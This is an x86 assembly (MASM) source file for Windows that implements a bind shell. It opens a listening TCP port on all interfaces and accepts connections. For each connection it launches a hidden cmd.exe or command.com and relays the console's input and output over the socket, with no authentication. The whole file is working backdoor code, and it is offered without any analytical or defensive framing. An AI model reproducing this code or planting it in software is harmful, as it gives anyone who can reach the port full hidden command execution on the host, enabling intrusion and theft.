; ----------------------------------------
;
;  (C) Alex Demchenko (alex@ritlabs.com)
;          http://www.cobans.net
;
; ----------------------------------------




; #########################################################################

CLI_INFO struct
        sock            DWORD ?
        newstdin        DWORD ?
        write_stdin     DWORD ?
        read_stdout     DWORD ?
        newstdout       DWORD ?
        process         DWORD ?
        closed          DWORD ?
CLI_INFO ends

        .data
                lpAppNT         db "cmd.exe",0
                lpApp9x         db "command.com",0

        .code

; Close handles
CloseEvr proc uses esi lpParam: DWORD
        mov     esi, [lpParam]
        cmp     [esi][CLI_INFO.closed], 0
        jnz     @leave
        invoke  closesocket, [esi][CLI_INFO.sock]
        invoke  CloseHandle, [esi][CLI_INFO.newstdin]
        invoke  CloseHandle, [esi][CLI_INFO.newstdout]
        invoke  CloseHandle, [esi][CLI_INFO.write_stdin]
        invoke  CloseHandle, [esi][CLI_INFO.read_stdout]
        mov     [esi][CLI_INFO.closed], 1
@leave:
        ret
CloseEvr endp

; Wait until console terminates
WaitTrd proc uses esi lpParam: DWORD
        mov     esi, [lpParam]
        invoke  WaitForSingleObject, [esi][CLI_INFO.process], INFINITE
        invoke  CloseEvr, lpParam
        invoke  ExitThread, 0
        mov     eax, 1
        ret
WaitTrd endp

; Read console
ReadTrd proc uses esi lpParam: DWORD
        LOCAL   buf[256]: BYTE
        LOCAL   dwRead: DWORD
        mov     esi, [lpParam]
@loop:
        invoke  ReadFile, [esi][CLI_INFO.read_stdout], addr buf, 256, addr dwRead, 0
        test    eax, eax
        jz      @next
        cmp     dwRead, 0
        je      @next
        invoke  send, [esi][CLI_INFO.sock], addr buf, dwRead, 0
        test    eax, eax
        jle     @next
        jmp     @loop
@next:
        invoke  CloseEvr, lpParam
        invoke  ExitThread, 0
        mov     eax, 1
        ret
ReadTrd endp

; Write to console
WriteTrd proc uses edi lpSocket: DWORD
        LOCAL   _si: STARTUPINFO
        LOCAL   _pi: PROCESS_INFORMATION
        LOCAL   _sa: SECURITY_ATTRIBUTES
        LOCAL   nfo: CLI_INFO
        LOCAL   dwThreadId, dwThreadId2, dwWritten: DWORD
        LOCAL   buf[256]: BYTE
        LOCAL   ofs: DWORD
        LOCAL   osv: OSVERSIONINFO

        ; Create pipes
        mov     _sa.nLength, sizeof _sa
        mov     _sa.bInheritHandle, TRUE
        mov     _sa.lpSecurityDescriptor, NULL

        mov     nfo.closed, 0
        push    lpSocket
        pop     nfo.sock
        invoke  CreatePipe, addr nfo.newstdin, addr nfo.write_stdin, addr _sa, 0
        invoke  CreatePipe, addr nfo.read_stdout, addr nfo.newstdout, addr _sa, 0

        lea     edi, _si
        mov     ecx, sizeof _si
        xor     eax, eax
        rep     stosb
        mov     _si.cb, sizeof STARTUPINFO
        mov     _si.dwFlags, STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW
        mov     _si.wShowWindow, SW_HIDE
        mov     edx, nfo.newstdin
        mov     _si.hStdInput, edx
        mov     edx, nfo.newstdout
        mov     _si.hStdOutput, edx
        mov     _si.hStdError,  edx

        ; Choose between command.com and cmd.exe
        mov     osv.dwOSVersionInfoSize, sizeof osv
        invoke  GetVersionEx, addr osv
        cmp     osv.dwPlatformId, VER_PLATFORM_WIN32_NT
        jne     @9x
        mov     ofs, offset lpAppNT
        jmp     @2k
@9x:
        mov     ofs, offset lpApp9x
@2k:

        ; Create console process and 2 threads
        invoke  CreateProcess, NULL, ofs, NULL, NULL, TRUE, 0, NULL, NULL, addr _si, addr _pi
        invoke  WaitForInputIdle, _pi.hProcess, INFINITE
        push    _pi.hProcess
        pop     nfo.process
        invoke  CreateThread, NULL, 0, offset WaitTrd, addr nfo, 0, addr dwThreadId2
        mov     dwThreadId2, eax
        invoke  CreateThread, NULL, 0, offset ReadTrd, addr nfo, 0, addr dwThreadId
        mov     dwThreadId, eax

@recv_loop:
        invoke  recv, lpSocket, addr buf, 256, 0
        test    eax, eax
        jle     @exit
        mov     edx, eax
        invoke  WriteFile, nfo.write_stdin, addr buf, edx, addr dwWritten, 0
        test    eax, eax
        jle     @exit
        jmp     @recv_loop

@exit:
        invoke  CloseEvr, addr nfo
        invoke  TerminateThread, dwThreadId2, 0
        invoke  TerminateThread, dwThreadId, 0
        invoke  CloseHandle, dwThreadId2
        invoke  CloseHandle, dwThreadId
        invoke  CloseHandle, _pi.hProcess
        invoke  CloseHandle, _pi.hThread
        invoke  ExitThread, 0
        ret
WriteTrd endp

StartSrv proc uses esi lpPort: DWORD
        LOCAL   sockAddr: sockaddr_in
        LOCAL   dwThreadId: DWORD

        invoke  socket, AF_INET, SOCK_STREAM, IPPROTO_TCP
        cmp     eax, INVALID_SOCKET
        je      @ret
        mov     esi, eax

        lea     edx, sockAddr
        mov     ecx, lpPort
        xchg    cl, ch  ; convert to network byte order
    
        mov     [edx][sockaddr_in.sin_family], AF_INET
        mov     [edx][sockaddr_in.sin_port], cx
        mov     [edx][sockaddr_in.sin_addr.S_un.S_addr], INADDR_ANY

        invoke  bind, esi, edx, sizeof sockaddr_in
        invoke  listen, esi, SOMAXCONN

@accept_loop:
        invoke  accept, esi, NULL, NULL
        mov     edx, eax
        inc     eax
        jz      @ret
        invoke  CreateThread, NULL, 0, offset WriteTrd, edx, 0, addr dwThreadId
        jmp     @accept_loop

@ret:
        invoke  ExitThread, 0
        ret
StartSrv endp
